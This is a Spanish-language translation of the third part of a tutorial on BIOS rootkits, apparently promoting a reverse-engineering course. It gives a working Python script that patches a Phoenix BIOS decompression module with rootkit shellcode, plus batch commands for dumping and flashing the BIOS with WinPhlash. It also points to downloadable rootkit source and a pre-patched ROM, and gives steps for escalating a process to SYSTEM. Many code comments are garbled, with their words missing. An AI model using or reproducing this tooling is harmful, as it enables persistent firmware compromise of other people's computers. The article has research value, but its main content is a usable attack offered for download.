Rootkits basados ​​en BIOS. Parte 3

Estamos publicando la parte final de la traducción, que se preparó en vísperas del inicio de los cursos básico y avanzado "Ingeniería inversa".














Desembalaje y parcheo del BIOS



Ahora que sabemos cómo queremos inyectar el rootkit en el BIOS, el siguiente paso es parchear el BIOS con nuestro código de rootkit. Para hacer esto, necesitamos extraer todos los módulos de BIOS, parchear el módulo de desempaquetado y reconstruir todo. Los módulos se pueden extraer usando la utilidad de consola phxdeco o Phoenix BIOS Editor. Después de extraer el módulo de desempaquetado, el siguiente código lo parcheará con nuestro rootkit:



#!/usr/bin/python
import os,struct,sys
###############################################
#      BIOS -   
#  Phoenix BIOS Editor ( Windows)    ,   ,    «DECOMPC0.ROM».
#     C:\Program Files\Phoenix Bios Editor\TEMP (   )    BIOS WPH.         .
#   ,  BIOS Editor       BIOS - BIOS Editor    BIOS WPH.
#           phnxdeco.exe,       .
#  ,  NASM   ,    .
#
# INPUT:
#     ,      asm-  BIOS        .
#
# OUTPUT:
#     DECOMPC0.ROM,     ,   , ,    asm-  BIOS.
#    
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#    
shellcode = sys.argv[1].lower()
#     . NASM    ,    !
os.system('nasm %s' % shellcode)
#       
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
#     ,     0x23  ROM  .
# ROM   ,      push,     CLD.            mov.
#       ,       .
#  ,  ,   Near Call,     ROM- ,      .
#     NOP   .
minihook = '\xe8\x28\x04\x90\x90\x90'
#   ,    ,     !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
#  ROM  
decorom = open('DECOMPC0.ROM','rb').read()
#     - 0x23,    CLD

hookoffset=0x23
#     ROM ,  ,    
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
#  ROM    NOP.
#    ,    ,   .
decorom+="\x90"*100+decomphook
#   10 NOP  .
decorom=decorom+'\x90'*10
#   ROM,     
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
#   ROM    
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#  
print "The DECOMPC0.ROM file has now been patched."




Un ejemplo de cómo llamar a este script podría ser:



python patchdecomp.py biosrootkit.asm




Si todo funciona bien, debería ver algo similar a lo siguiente:



Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.




Reconstruir el BIOS



Para archivos de BIOS primarios, como el que se incluye en VMware, se pueden usar varias utilidades de línea de comandos incluidas en Phoenix Bios Editor (o disponibles en Intel) para reconstruir. Más tarde, al probar en una PC real, fue necesario guardar el BIOS no solo en el formato principal, por lo que se utilizó la versión GUI de Phoenix Bios Editor como herramienta para la reconstrucción. Desafortunadamente, esto significa que no es posible tener simplemente una aplicación que se pueda ejecutar en el sistema para infectar el BIOS, al menos sin usar las herramientas proporcionadas.



Esto significa que la infección del BIOS es un proceso de tres pasos que requiere alguna intervención manual, principalmente reensamblaje. Phoenix BIOS Editor con imagen de BIOS abierta se muestra a continuación:







Phoenix BIOS Editor no fue desarrollado para reemplazar módulos, pero sin embargo brinda esa oportunidad. Cuando se abre la imagen del BIOS por primera vez, todos los módulos del BIOS se extraen al disco en una carpeta ubicada en C:\Program Files\Phoenix BIOS Editor\TEMP\. El módulo de desembalaje se puede copiar de esta carpeta, arreglar y reemplazar. Phoenix BIOS Editor no le permitirá guardar el BIOS sin cambios, por lo que para guardar el BIOS necesitamos cambiar algún valor de cadena y luego volver a cambiarlo (o simplemente dejarlo así).



El código fuente del rootkit del BIOS y los scripts de parcheo se pueden descargar desde los enlaces al final de este artículo si desea hacerlo todo usted mismo.



PC real



Phoenix BIOS se utilizó en todos los diseños basados ​​en VMware, por lo que también se eligió para realizar pruebas en una PC física. Todas las pruebas de BIOS físicas (a diferencia de las virtuales) se realizaron con una computadora portátil HP Pavilion ze4400. Inicialmente, las pruebas de BIOS se planificaron utilizando una PC, no una computadora portátil, ya que sería mucho más fácil acceder a la placa base de la PC para flashear si fuera necesario. Independientemente, no fue fácil encontrar una PC con Phoenix BIOS rápidamente, así que tuve que usar una computadora portátil en su lugar (¡gracias especiales a David por actualizar mi computadora portátil después de que accidentalmente escribí el código fuente en mi BIOS!)



Extrayendo BIOS en PC



El primer paso para modificar el BIOS de un sistema real es extraer una copia. Phoenix tiene dos herramientas diferentes que suelen proporcionar para este propósito, una llamada "Phlash16" y la otra llamada "WinPhlash". Phlash16 es una utilidad de línea de comandos (con una GUI de consola), pero solo se ejecuta desde DOS. WinPhlash, como su nombre indica, se ejecuta desde Windows. Aunque es una utilidad GUI, también acepta parámetros de línea de comandos, lo que nos permite automatizar el proceso de extracción del BIOS. Para este proyecto, creé varios scripts para automatizar la extracción y el parcheo de BIOS, pero son bastante primitivos y no muy funcionales.



El siguiente script por lotes copiará el BIOS en un archivo con nombre BIOSORIG.WPHy luego verificará si se ha modificado previamente. Secuencia de comandos de PerlCheckFlash.py simplemente comprueba el contenido del BIOS para mi nombre, que no está en ningún BIOS sin modificar.



@rem    BIOS  ,     .
@rem 
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem ,   BIOS  
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH




Desembalaje y parcheo de BIOS en PC



Después de extraer el BIOS, el siguiente paso es parchearlo con nuestro código de rootkit. Esto se puede hacer usando los mismos scripts que usamos para VMware en las secciones anteriores. El objetivo de este proyecto era crear un parche y un proceso de parcheo lo más coherente posible. Estoy muy contento de que resultó ser completamente factible, de modo que las mismas herramientas se pueden usar para hardware completamente diferente que se ejecuta en el mismo tipo de BIOS.



Reconstruir BIOS en PC



Si bien existe una herramienta gratuita que puede extraer módulos del BIOS de Phoenix, parece que solo Phoenix Bios Editor los construirá de la manera que requieren las PC típicas. La herramienta WinPhlash requiere que el BIOS incluya información adicional que almacena junto con el BIOS sin procesar en un archivo WPH. Después de probar muchas opciones diferentes, parece que la única forma de construir con éxito un archivo WPH es usar la GUI del Editor de Phoenix Bios. Desafortunadamente, esto significa que es imposible tener simplemente una aplicación que se pueda ejecutar en un sistema para infectar el BIOS, al menos sin usar las herramientas provistas.



En teoría, debería ser posible aplicar ingeniería inversa al formato WPH y crear una herramienta de reensamblaje de BIOS personalizada, pero eso está fuera del alcance de este proyecto. En cambio, infectar el BIOS es un proceso de tres pasos que requiere alguna intervención manual, principalmente la reconstrucción.



Al igual que con la revisión del BIOS de VMware, puede usar la misma técnica para que Phoenix BIOS Editor reconstruya el módulo parcheado. Cuando se abre la imagen del BIOS por primera vez, todos los módulos del BIOS se extraerán al disco en una carpeta ubicada enC:\Program Files\Phoenix BIOS Editor\TEMP\... El módulo de desembalaje se puede copiar de esta carpeta, parchear y reemplazar. Phoenix BIOS Editor no le permitirá guardar el BIOS sin cambios, por lo que debe cambiar algún valor de cadena y luego volver a colocarlo (o simplemente dejarlo así) para guardar el BIOS.



BIOS parpadeando



Después de que el BIOS se reconstruya en un archivo WPH, el siguiente script por lotes moverá la nueva imagen del BIOS a la EEPROM del BIOS y luego reiniciará la computadora para que los cambios surtan efecto:



@rem       "BIOSPATCHED.WPH"  BIOS   ,  .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH




Resultados de la modificación en una computadora portátil



Al reunir todo el trabajo anterior, a continuación se muestra cómo se transfirió el código del BIOS a la computadora portátil (iniciado por el script infect.bat descrito anteriormente):







Después de que se completó el flasheo , el rootkit del BIOS se inició correctamente y se inició en el kernel de Windows. La siguiente captura de pantalla muestra una línea de comandos que se ejecuta inicialmente como un usuario normal, y luego, después de 30 segundos, sus privilegios se elevan:







Esto demuestra que el rootkit del BIOS era lo suficientemente portátil para ejecutarse en varios sistemas (VMware, portátil HP) y que los mecanismos de infección eran funcional y funcionando correctamente.



El "rootkit" desarrollado para este proyecto solo realiza una tarea sencilla, pero como se señaló en relación con el software Vbootkit2, no hay ninguna razón por la que no se le pueda agregar funcionalidad adicional. Este proyecto incluía el BIOS Phoenix, y es probable que haya muchas similitudes entre el BIOS Phoenix y el BIOS de otros fabricantes. Aunque es probable que sea necesario escribir el código para cada proveedor por separado, no hay muchos, por lo que es recomendable extender la funcionalidad del rootkit a todos los proveedores habituales.



En la introducción, noté que las nuevas características del BIOS, como las actualizaciones firmadas, hacen que gran parte de lo que se describe aquí sea mucho menos una amenaza para la seguridad. Ciertamente es bueno notar esto, pero también vale la pena recordar que hay más computadoras "desactualizadas" que "nuevas", por lo que este tipo de ataque seguirá siendo un problema durante mucho tiempo.



Demostración y código fuente de VMware BIOS



El siguiente código fuente y BIOS revisado se proporcionan como prueba de concepto. De ninguna manera estaba sugiriendo que la gente tomara esto y lo usara con fines maliciosos, sino que quería demostrar que tales ataques son bastante factibles en configuraciones de BIOS más antiguas. No creo que sea realista tomar este trabajo como está y convertirlo en un malware viable, y por esa razón estoy publicando este código en Internet.



Como se señaló en las secciones anteriores, este código debería funcionar para parchear la mayoría de BIOS de Phoenix. Los scripts de parcheo se pueden descargar aquí:



BIOS_Based_Rootkit_Patch_Scripts.zip



El código fuente del BIOS rootkit se puede descargar aquí:



biosrootkit.asm



Necesita NASMpara compilar el código de parcheo del BIOS si está utilizando los scripts / código fuente anteriores. Para que NASM funcione correctamente, agregue la variable de ruta o actualice el script de parcheo para tener una ruta absoluta. También necesitará una copia de Phoenix BIOS Editor o un equivalente gratuito para volver a colocar el desempaquetador en el BIOS completo.



Si no desea compilar todo esto usted mismo y solo quiere hurgar en lo que obtuve, el BIOS parcheado para usar con VMware se puede descargar aquí:



BIOS_rootkit_demo.ROM



Uso de pruebas de concepto y notas



Si no desea leer todo el trabajo anterior, aquí hay un resumen de cómo probarlo y qué hace.



  • Primero descargue la imagen BIOS_rootkit_demo.ROMdel enlace de arriba.
  • , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
  • WinXP, , , .vmx (, WindowsXP.vmx ) . , : bios440.filename = "BIOS_rootkit_demo.ROM". , BIOS_rootkit_demo.ROM , .
  • , pwn.exe (, cmd.exe).
  • Espere 30 segundos y luego inicie el Administrador de tareas. Ahora Pwn.exedebería ejecutarse como el usuario del "SISTEMA", no como el usuario que inició sesión en XP.




Los pasos anteriores deberían funcionar en un mundo ideal. Sin embargo, como resultado de las pruebas, ¡se identificaron los siguientes bailes con pandereta!



  • Inestabilidad del sistema operativo. A veces, al cargar o simplemente cerrar una aplicación, pwn.exeWindows emite un BSOD.
  • El administrador de tareas mentirá sobre el usuario de su proceso si lo abre antes del tiempo de escalada de privilegios de 30 segundos. Use algo como cmd con whoami para verificar sus permisos correctamente.
  • Aunque he descargado esto con éxito en una PC real, no soy responsable de los resultados si haces lo mismo. Me encantaría saber cómo bloquearás tu placa base de una manera ridícula si eso sucede, ¡pero probablemente no te ayude con las consecuencias! ¡Pruebe bajo su propio riesgo!




Si solo quiere ver un video de cómo sucede, Colin lo publicó en YouTube: Recomiendo probar esto en VMware, ¡es mucho más divertido ver cómo limpiar su disco duro no resuelve nada y su sistema aún está asombrado!










All Articles